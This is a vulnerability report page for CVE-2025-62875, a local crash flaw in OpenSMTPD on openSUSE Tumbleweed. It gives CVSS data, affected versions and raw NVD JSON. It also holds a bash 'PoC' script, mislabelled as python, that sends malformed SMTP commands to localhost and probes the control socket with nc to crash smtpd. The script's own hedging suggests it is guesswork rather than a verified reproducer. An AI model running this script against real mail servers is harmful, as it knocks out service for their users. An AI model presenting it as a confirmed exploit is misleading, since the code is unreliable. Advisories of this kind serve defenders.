Security Vulnerability Report
中文
CVE-2025-62875 CVSS 5.5 MEDIUM

CVE-2025-62875

Published: 2025-11-20 16:16:01
Last Modified: 2026-01-15 19:03:30

Description

An Improper Check for Unusual or Exceptional Conditions vulnerability in OpenSMTPD allows local users to crash OpenSMTPD. This issue affects openSUSE Tumbleweed: from ? before 7.8.0p0-1.1.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:opensmtpd:opensmtpd:7.7.0:p0:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:opensuse:tumbleweed:*:*:*:*:*:*:*:* - VULNERABLE
openSUSE Tumbleweed OpenSMTPD < 7.8.0p0-1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-62875 PoC - OpenSMTPD Local DoS # Description: This script triggers a crash in OpenSMTPD through improper # error condition handling # Author: Based on public security advisory # Usage: Run as low-privilege user on vulnerable OpenSMTPD set -e echo "[*] CVE-2025-62875 OpenSMTPD Local DoS PoC" echo "[*] Target: OpenSMTPD < 7.8.0p0-1.1" # Check if OpenSMTPD is running if ! pgrep -x smtpd > /dev/null; then echo "[!] OpenSMTPD is not running" exit 1 fi echo "[+] OpenSMTPD is running" # Method 1: Trigger via malformed SMTP transaction # This attempts to cause the improper error condition for i in {1..10}; do echo "[*] Attempting to trigger vulnerability (attempt $i/10)" # Send SMTP commands that may trigger the exceptional condition { sleep 1 echo "EHLO test" sleep 1 # Send command that may trigger the bug printf "MAIL FROM:<test\\r\\n>" # Incomplete command sleep 1 echo "QUIT" } | timeout 5 telnet localhost 25 2>/dev/null || true sleep 1 # Check if smtpd crashed if ! pgrep -x smtpd > /dev/null; then echo "[+] SUCCESS: OpenSMTPD has crashed!" exit 0 fi done # Method 2: Alternative trigger via control socket (if available) if [ -S /var/run/smtpd.sock ]; then echo "[*] Attempting via control socket..." # Send malformed control command echo "show filters" | timeout 2 nc -U /var/run/smtpd.sock 2>/dev/null || true fi # Check final status echo "[*] Checking OpenSMTPD status..." if pgrep -x smtpd > /dev/null; then echo "[-] OpenSMTPD is still running - vulnerability may not be triggered" echo "[-] This PoC may need adjustment for specific configurations" else echo "[+] OpenSMTPD has crashed - vulnerability confirmed" fi echo "[*] Done"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62875", "sourceIdentifier": "[email protected]", "published": "2025-11-20T16:16:00.540", "lastModified": "2026-01-15T19:03:30.310", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Improper Check for Unusual or Exceptional Conditions vulnerability in OpenSMTPD allows local users to crash OpenSMTPD.\n\n\n\n\nThis issue affects openSUSE Tumbleweed: from ? before 7.8.0p0-1.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-754"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opensmtpd:opensmtpd:7.7.0:p0:*:*:*:*:*:*", "matchCriteriaId": "D9276FD7-305A-4B17-B6F9-0335514293BA"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opensuse:tumbleweed:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.8.0p0-1.1", "matchCriteriaId": "CDAE627B-88FB-4905-AA8F-1E69391C055E"}]}]}], "references": [{"url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2025-62875", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://security.opensuse.org/2025/10/31/opensmtpd-local-DoS.html", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/31/3", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Mailing List", "Third Party Advisory"]}, {"url": "https://security.opensuse.org/2025/10/31/opensmtpd-local-DoS.html#reproducer", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}